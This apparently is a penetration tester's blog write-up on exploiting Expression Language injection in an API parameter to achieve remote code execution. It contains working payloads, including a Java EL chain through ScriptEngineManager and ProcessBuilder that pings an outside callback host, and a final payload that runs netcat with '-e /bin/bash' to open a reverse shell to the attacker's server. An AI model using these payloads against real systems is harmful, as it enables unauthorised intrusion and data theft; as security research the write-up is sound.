RCE with Expression Language (EL) Injection in API
In one of the recent Pentest, I was testing APIs and came across this fancy vulnerability name Expression Language (EL) Injection reported by Burpsuite (Thanks to portswigger for making this beautiful tool)
Read more about EL Injection here
So I injected payload ${\"HOLA\".toString().replace(\"L\", \"G\")} (reported by Burp) in timestamp parameter which will simply replace the alphabet “L”with “G” from word HOLA & got word HOGA in API’s error response as shown in below figure
Above figure shows that our little code actually executed at server-side and gave us the response. It was the time to figure out to which language this code belonged to and I came to know that it has something to do with Java.
So, I tried another payload ${1337*1337} that did simple multiplication and gave us result 1787569 in error response. Hmmm so basically this vulnerability can at least help us do our Math homework :P
I referred beautiful article written about Server-Side Template Injection by portswigger and followed the article to figure out the template engine in order to exploit the vulnerability further but unfortunately it end-up telling us that either its not vulnerable or unknown template engine is being used as none of the payloads worked after the first payload mentioned in below figure
I spent a day to figure out a way to exploit this bug but no luck. Hmmm, so I needed an expert advice on this bug and to exploit it, the coffee was very much needed 😊So, I requested my colleague who is an awesome programmer turned security person turned awesome bug bounty hunter Anurag to take a look of this bug and help in exploiting it further.
He took his own sweet time and managed to call various java methods and figured out a way to invoke threads and running it and I knew its done the moment I heard word threads from him. We also came to know that it was javascript engine manager behind all of this.
Also, thanks to this article Anurag came across who also faced same kind of scenario and end-up performing RCE.
So, I got the payload crafted to first check if system commands are executing at server-side. So, I basically used Burp Collaborator to check if we are getting the response and we actually got the response validating that the system commands are executing
${'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"ping\\\",\\\"szvta3myzyhu8udxodgghh6hm8sygn.burpcollaborator.net\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}
Now, its time to fire the API with our final payload to get a bash shell which we all love like anything 😊 So I turned on Netcat listener on port 443 on my VPS because the system we are targeting is a docker container on AWS & allows outbound connection for port 80 & 443 only.
${'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"nc\\\",\\\"-nv\\\",\\\"<Your-IP>\\\",\\\"443\\\",\\\"-e\\\",\\\"/bin/bash\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}
And here I got the shell as shown in below figure. I got lot of critical information that I cannot disclose here but you can understand what all things you can do once you get the shell 😉Below are the snapshot of some info:
So, it was lot of learning in performing remote code execution with expression language injection.